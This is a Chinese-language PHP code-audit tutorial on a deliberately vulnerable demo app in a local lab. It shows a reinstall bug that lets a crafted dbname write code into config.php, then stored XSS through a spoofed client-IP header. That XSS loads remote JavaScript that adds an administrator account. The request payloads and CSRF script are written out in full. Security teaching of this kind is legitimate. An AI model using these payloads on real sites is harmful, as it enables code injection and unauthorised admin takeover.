安装问题的审计
一般PHP程序都有一个初始安装的功能。 当程序安装后一般会自动删除安装文件、或者加lock限制。
安装功能可能存在以下问题:
- 无验证功能,任意重装覆盖
$_GET['step']
跳过限制步骤- 变量覆盖导致重装
- 判断lock后跳转无exit
- 解析install.php.bak漏洞
- 其他特定功能绕过漏洞
安装问题分析
- 首先查看install.php发现在判断存在lock文件后无exit。
再继续查看代码发现,dbname在写入config.php时未做过滤。
if (in_array(strtolower($dbname), $data)){
mysql_close();
echo "";
exit(); } ... mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() ); $fp=fopen( "../sys/config.php", "w" ); fwrite( $fp, $str_tmp ); fclose( $fp );
查看config.php,构造payload
闭合双引号,然后在后面跟上我们要执行的代码,注释掉后面的内容。
$host="localhost";
$username="root";
$password="root";
$database="vauditdemo"; // exp;-- -";phpinfo();//
返回到install.php中注释掉lock后的跳转语句,访问install.php并在进入重装页面使用burpsuite抓包。
if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {
// header( "Location: ../index.php" );
}
抓包修改dbname的值为我们构造的payload。
POST /vauditdemo/install/install.php HTTP/1.1
Host: 192.168.174.195
Content-Length: 84
Cache-Control: max-age=0 Origin: http://192.168.174.195 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.174.195/vauditdemo/install/install.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close dbhost=localhost&dbuser=root&dbpass=root&dbname=exp;-- -";phpinfo();//&Submit=%E5%AE%89%E8%A3%9D
抓包后,将install.php中的跳转语句的注释取消。
发送payload后,然后查看config.php中的dbname内容,可以看到payload已经成功被写入config.php文件中。
访问config.php即可显示phpinfo()信息。
审计思路总结
判断lock后跳转无exit
XSS后台敏感操作
查看如下代码:获取源IP的方式是先判断是否存在HTTP_CLIENT_IP字段,若没有再查看是否存在HTTP_X_FORWARDED_FOR字段,若无,则通过REMOTE_ADDR获取,而我们可以控制的只有HTTP_CLIENT_IP和X_FORWARDED_FOR字段,可以达到注入的目的。
function get_client_ip(){
if ($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"], "unknown")){ $ip = $_SERVER["HTTP_CLIENT_IP"]; }else if ($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){ $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if ($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){ $ip = $_SERVER["REMOTE_ADDR"]; }else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")){ $ip = $_SERVER['REMOTE_ADDR']; }else{ $ip = "unknown"; } return($ip); }
然后我们通过回溯来找出get_client_ip函数在哪里都有使用。
if (isset($_POST['submit']) && !empty($_POST['user']) && !empty($_POST['pass'])) {
$clean_name = clean_input($_POST['user']); $clean_pass = clean_input($_POST['pass']); $query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')"; $data = mysql_query($query, $conn) or die('Error!!'); if (mysql_num_rows($data) == 1) { $row = mysql_fetch_array($data); $_SESSION['username'] = $row['user_name']; $_SESSION['avatar'] = $row['user_avatar']; $ip = sqlwaf(get_client_ip()); $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'"; mysql_query($query, $conn) or die("updata error!"); header('Location: user.php'); } else { $_SESSION['error_info'] = '用户名或密码错误'; header('Location: login.php'); } mysql_close($conn); }
通过分析可以知道在登录时进行了获取IP的操作,并且get_client_ip()使用sqlwaf过滤器进行了过滤,并且
$ip
使用单引号进行包裹,因此无法进行SQL注入。
由于sqlwaf()过滤器只是进行了SQL注入的过滤,并没有XSS的过滤,因此此处我们可以使用XSS注入攻击。
login_ip = '$ip
,我们只要找到login_ip
所在位置,当数据库字段数允许达到一定的要求,即可进行xss注入。全局搜索login_ip,发现在manageUser.php中存在login_ip. 从数据库字段信息中可以看到该字段设置了255个字符长度。
C:\phpstudy_pro\WWW\vauditdemo\admin\manageUser.php:
24 25 26: 27 "delUser.php?id=">删除 28 C:\phpstudy_pro\WWW\vauditdemo\install\install.sql: 57 `user_bio` varchar(255) NOT NULL DEFAULT '', 58 `join_date` date NOT NULL, 59: `login_ip` varchar(255) DEFAULT NULL, 60 PRIMARY KEY (`user_id`) 61 ) ENGINE=MyISAM AUTO_INCREMENT=8 DEFAULT CHARSET=utf8; C:\phpstudy_pro\WWW\vauditdemo\user\logCheck.php: 13 $_SESSION['avatar'] = $row['user_avatar']; 14 $ip = sqlwaf(get_client_ip()); 15: $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'"; 16 mysql_query($query, $conn) or die("updata error!"); 17 header('Location: user.php');
我们可以在登录时构造插入xss代码,使用xss引入外部js代码来执行添加用户操作,当管理员触发了xss,即可添加一个新用户。
if (mysql_num_rows($data) == 1) {
$row = mysql_fetch_array($data);
$_SESSION['username'] = $row['user_name']; $_SESSION['avatar'] = $row['user_avatar']; $ip = sqlwaf(get_client_ip()); // $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'"; mysql_query($query, $conn) or die("updata error!"); header('Location: user.php'); } else { $_SESSION['error_info'] = '用户名或密码错误'; header('Location: login.php'); }
js:将csrf的payload放在远程服务器上。
(function () {
var xmlHttp;
try {
xmlHttp = new XMLHttpRequest();
} catch (e) {
try {
xmlHttp = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) { } } } xmlHttp.open("POST","manageAdmin.php",true); xmlHttp.setRequestHeader('Content-type','application/x-www-form-urlencoded'); xmlHttp.send('username=xss&password=123456' || null); }) ();
xss代码执行后,成功添加了一个管理员用户xss
Name Manege
admin 删除
xss 删除